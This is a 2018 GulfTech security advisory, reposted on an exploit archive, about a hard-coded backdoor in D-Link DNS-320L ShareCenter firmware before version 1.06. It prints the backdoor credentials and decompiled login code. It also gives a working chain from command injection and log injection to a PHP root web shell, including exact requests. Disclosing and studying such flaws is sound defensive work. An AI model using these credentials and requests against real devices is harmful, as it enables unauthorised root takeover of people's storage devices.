Author

GulfTech Security

Risk

[

Security Risk High

]

0day-ID

0day-ID-29394

Category

web applications

Date add

08-01-2018

Platform

hardware

DNS-320L ShareCenter Backdoor
Vendor: D-Link
Product: DNS-320L ShareCenter
Version: < 1.06
Website: http://www.dlink.com/uk/en/products/dns-320l-sharecenter-2-bay-cloud-storage-enclosure
 
 
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                     GulfTech Research and Development                                                                                  
 
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#                  D-Link DNS-320L ShareCenter Backdoor                   #
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Released Date: 2018-01-03
Last Modified: 2017-06-14
 Company Info: D-Link
 Version Info: 
              Vulnerable
               D-Link DNS-320L ShareCenter < 1.06
               Possibly various other ShareCenter devices
 
              Not Vulnerable
               D-Link DNS-320L ShareCenter >= 1.06
  
 
--[ Table of contents
 
00 - Introduction
    00.1 Background
 
01 - Hard coded backdoor
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation
 
02 - Credit
 
03 - Proof of concept
 
04 - Solution
 
05 - Contact information
 
 
--[ 00 - Introduction
 
The purpose of this article is to detail the research that GulfTech has 
recently completed regarding the D-Link DNS 320L ShareCenter.
 
--[ 00.1 - Background
 
D-Link Share Center 2-Bay Cloud Storage 2000 (DNS-320L) aims to be a 
solution to share, stream, manage and back up all of your digital files by 
creating your own personal Cloud. 
 
 
--[ 01 - Hard coded backdoor
 
While doing some research on another device, I came across a hard coded
backdoor within one of the CGI binaries. Several different factors such as
similar file structure and naming schemas led me to believe that the code
that was in the other device was also shared with the DNS-320L ShareCenter.
As it turned out our hunch was correct. An advisory regarding the other
vulnerable device in question will be released in the future, as the vendor
for that device is still in the process of addressing the issues.
 
Now, let's take a moment to focus on the following file which is a standard 
Linux ELF executable and pretty easy to go through. 
 
/usr/local/modules/cgi/nas_sharing.cgi
 
The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" and
contains the following function that is used to authenticate the user. 
 
--[ 01.1 - Vulnerable code analysis
 
Below is the psuedocode created from the disassembly of the binary. I have
renamed the function to "re_BACKDOOR" to visually identify it more easily.
 
struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
  const char *v2; // r5@1
  const char *v3; // r4@1
  struct passwd *result; // r0@4
  FILE *v5; // r6@5
  struct passwd *v6; // r5@7
  const char *v7; // r0@9
  size_t v8; // r0@10
  int v9; // [sp+0h] [bp-1090h]@1
  char s; // [sp+1000h] [bp-90h]@1
  char dest; // [sp+1040h] [bp-50h]@1
 
  v2 = a2;
  v3 = a1;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x40u);
  memset(&v9, 0, 0x1000u);
  if ( *v2 )
  {
    v8 = strlen(v2);
    _b64_pton(v2, (u_char *)&v9, v8);
    if ( dword_2C2E4 )
    {
      sub_1194C((const char *)&unk_1B1A4, v2);
      sub_1194C("pwd decode[%s]\n", &v9);
    }
  }
  if (!strcmp(v3, "mydlinkBRionyg") 
  &&  !strcmp((const char *)&v9, "abc12345cba") )
  {
    result = (struct passwd *)1;
  }
  else
  {
    v5 = (FILE *)fopen64("/etc/shadow", "r");
    while ( 1 )
    {
      result = fgetpwent(v5);
      v6 = result;
      if ( !result )
        break;
      if ( !strcmp(result->pw_name, v3) )
      {
        strcpy(&s, v6->pw_passwd);
        fclose(v5);
        strcpy(&dest, (const char *)&v9);
        v7 = (const char *)sub_1603C(&dest, &s);
        return (struct passwd *)(strcmp(v7, &s) == 0);
      }
    }
  }
  return result;
}
 
As you can see in the above code, the login functionality specifically
looks for an admin user named "mydlinkBRionyg" and will accept the password
of "abc12345cba" if found. This is a classic backdoor. Simply login with 
the credentials that were just mentioned from the above code.
 
--[ 01.2 - Remote exploitation
 
Exploiting this backdoor is fairly trivial, but I wanted a root shell, not 
just admin access with the possibility of shell access. So, I started 
looking at the functionality of this file and noticed the method referenced 
when the "cmd" parameter was set to "15". This particular method happened 
to contain a command injection issue. Now I could turn this hard coded
backdoor into a root shell, and gain control of the affected device.
 
However, our command injection does not play well with spaces, or special 
characters such as "$IFS", so I got around this by just playing ping pong
with pipes, and syslog() in order to create a PHP shell. These are the 
steps that I took to achieve this.
 
STEP01: We send a logout request to /cgi-bin/login_mgr.cgi?cmd=logout with
the "name" parameter value set to that of our malicious PHP wrapper code 
within our POST data. This "name" parameter is never sanitized.
 
name=
 
At this point we have successfully injected our payload into the user logs, 
as the name of the user who logouts is written straight to the user logs. A 
user does not have to be logged in, in order to logout and inject data.
 
STEP02: We now use cat to readin the user log file and pipe it out to the
web directory in order to create our PHP web shell.
 
GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=15&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&system=cat/var/www/shell.php HTTP/1.1
 
At this point an attacker can now simply visit the newly created web shell
and execute any PHP code that they choose, as root.
 
http://sharecenterhostname/shell.php?01100111=phpinfo();
 
By sending a request like the one above a remote attacker would cause the
phpinfo() function to be displayed, thus demonstrating successful remote 
exploitation as root.
 
 
--[ 02 - Credit
 
James Bercegay
GulfTech Research and Development
 
 
--[ 03 - Proof of concept
 
We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.
 
 
--[ 04 - Solution
 
Upgrade to firmware version 1.06 or later. See the official vendor website
for further details.

#  0day.today [2024-11-15]  #